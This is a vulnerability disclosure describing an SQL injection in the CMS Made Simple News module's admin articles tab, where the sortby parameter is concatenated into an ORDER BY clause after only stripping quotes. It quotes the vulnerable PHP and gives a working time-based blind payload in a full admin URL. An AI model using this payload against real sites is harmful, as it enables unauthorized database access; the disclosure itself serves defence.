

SQL injection

Author: Riccardo Krauter @ SOTER IT Security

The vulnerability is located in the `modules/News/function.admin_articlestab.php` file.

```
82 if( isset($params['submitfilter']) ) {
83     //die("im here!");
84     if( isset( $params['category'] ) ) {
85         $this->SetPreference('article_category',trim($params['category']));
86     }
87     if( isset( $params['sortby'] ) ) {
88         $this->SetPreference('article_sortby', str_replace("'",'_',$params['sortby']));
89     }
90     if( isset( $params['pagelimit'] ) ) {
91         $this->SetPreference('article_pagelimit',(int)$params['pagelimit']);
92     }
93     $allcategories = (isset($params['allcategories'])?$params['allcategories']:'no');
94     $this->SetPreference('allcategories',$allcategories);
95     unset($_SESSION['news_pagenummer']);
96     $pagenumber = 1;
97 }
98 > else if( isset($params['resetfilter']) ) {
106
```

```
144 $query1 = "SELECT SQL_CALC_FOUND_ROWS n.*, nc.long_name FROM ".CMS_DB_PREFIX."module_news n LEFT OUTER JOIN ".CMS_DB_PREFIX."module_news_categories nc ON n.category_id=nc.category_id WHERE n.category_id=$curcategory";
145 $parms = array();
146 if ($curcategory != '') {
147     $query1 .= " WHERE nc.long_name LIKE ?";
148     if( $allcategories == 'yes' ) {
149         $parms[] = $curcategory.'%';
150     }
151     else {
152         $parms[] = $curcategory;
153     }
154 }
155 $query1 .= ' ORDER by '.$sortby;
```

The `sortby` parameter is sanitized by replacing the `'` with the `_` character. As it is possible to notice the `$sortby` variable is concatenated with `$query1`, but it is possible to inject arbitrary SQL language without using the `'`.

As proof of concept, please consider the following screen-shot

The screenshot shows a web browser window with the URL `http://localhost/cms_made_simple/admin/moduleinterface.php`. The page title is "News - p4w_test". The page content shows a list of news items. The SQL injection payload is visible in the URL: `http://localhost/cms_made_simple/admin/moduleinterface.php?mact=News,m1_,defaultadmin,0&_c=ff1082652efd504c99c&m1_category=&m1_sortby=(SELECT (CASE WHEN 1=1 THEN sleep(2) ELSE news_id END)) --&m1_pagelimit=10&m1_submitfilter=Submit`. The page status is 200 OK. The page content shows a list of news items.

Notice that the server will sleep for 4 seconds since the query has two results (row).

- time based payload payload: `(SELECT (CASE WHEN 1=1 THEN sleep(2) ELSE news_id END)) --`